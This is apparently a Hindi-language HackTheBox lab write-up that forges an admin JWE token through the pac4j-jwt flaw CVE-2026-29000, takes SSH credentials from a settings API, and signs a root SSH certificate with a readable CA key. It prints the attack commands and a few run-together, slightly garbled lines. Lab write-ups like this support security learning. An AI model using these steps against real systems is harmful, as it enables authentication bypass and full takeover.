
# CVE-2026-29000 का pac4j-jwt में शोषण करने का विस्तृत विवरण: प्रमाणीकरण को बायपास करना, API सेटिंग्स से क्रेडेंशियल निकालना, और HackTheBox Linux मशीन पर SSH CA साइनिंग के माध्यम से विशेषाधिकार बढ़ाना।
कठिनाई: मध्यम OS: Linux प्लेटफ़ॉर्म: HackTheBox
pac4j-jwt v6.0.3 चलाने वाला वेब एप्लिकेशन — CVE-2026-29000 के प्रति संवेदनशील। सार्वजनिक RSA कुंजी JWKS एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के उजागर होती है और इसका उपयोग एक वैध एडमिन JWE टोकन बनाने के लिए किया जा सकता है, जिससे प्रमाणीकरण पूरी तरह से बायपास हो जाता है। एडमिन एक्सेस के साथ, सेटिंग्स API से सादे पाठ में SSH क्रेडेंशियल प्राप्त किए जाते हैं। सेवा खाता deployers समूह का सदस्य है जिसके पास sshd द्वारा विश्वसनीय SSH CA निजी कुंजी तक पढ़ने की पहुंच है — रूट एक्सेस प्रदान करने वाला प्रमाणपत्र साइन करना बॉक्स को पूरा करता है।
वेब एप्लिकेशन पर ब्राउज़ किया और पेज सोर्स देखा। मुख्य JavaScript बंडल /static/js/app.js पर मिला।
app.js के अंदर पहचाने गए प्रमुख API एंडपॉइंट:
/api/auth/login
/api/auth/jwks <- सार्वजनिक कुंजी एंडपॉइंट (बिना प्रमाणीकरण)
/api/dashboard
/api/users
/api/settings
पेज फुटर से पता चला: pac4j-jwt v6.0.3 — CVE-2026-29000 के प्रति संवेदनशील।
बिना प्रमाणीकरण वाले JWKS एंडपॉइंट से RSA सार्वजनिक कुंजी प्राप्त की:
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA सार्वजनिक कुंजी लौटाता है (kid: enc-key-1)
CVE-2026-29000 सार्वजनिक कुंजी को एक वैध JWE टोकन बनाने के लिए उपयोग करने की अनुमति देता है — लाइब्रेरी गलत तरीके से निजी कुंजी की आवश्यकता के बजाय सार्वजनिक कुंजी से एन्क्रिप्ट किए गए टोकन स्वीकार करती है।
जाली एडमिन टोकन उत्पन्न करने के लिए PoC का उपयोग किया:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Burp Repeater में Bearer टोकन के रूप में जाली टोकन का उपयोग किया:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINCERT_ISSUED क्रियाएँ दिखाईं: svc-deployGET /api/settings → 200 OK
/opt/principal/ssh//api/settings से प्राप्त क्रेडेंशियल का उपयोग करके SSH में लॉगिन किया:
ssh svc-deploy@<TARGET_IP>
उपयोगकर्ता फ़्लैग प्राप्त किया।
svc-deploy deployers समूह में है जिसके पास /opt/principal/ssh/ तक पढ़ने की पहुंच है:
ls -la /opt/principal/ssh/
# ca — RSA 4096-बिट CA निजी कुंजी (deployers द्वारा पठनीय)
# ca.pub — CA सार्वजनिक कुंजी
# README.txt — पुष्टि करता है कि CA sshd द्वारा विश्वसनीय है
CA निजी कुंजी पठनीय है। चूंकि sshd इस CA पर भरोसा करता है, इसके द्वारा हस्ताक्षरित कोई भी प्रमाणपत्र स्वीकार किया जाता है — जिसमें रूट एक्सेस प्रदान करने वाला प्रमाणपत्र भी शामिल है।
# एक नया keypair उत्पन्न करें
ssh-keygen -t ed25519 -f /tmp/privesc
# CA के साथ साइन करें, प्रिंसिपल 'root' प्रदान करें
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# रूट के रूप में SSH
ssh -i /tmp/privesc root@<TARGET_IP>
रूट फ़्लैग प्राप्त किया।
/home/svc-deploy/user.txt/root/root.txt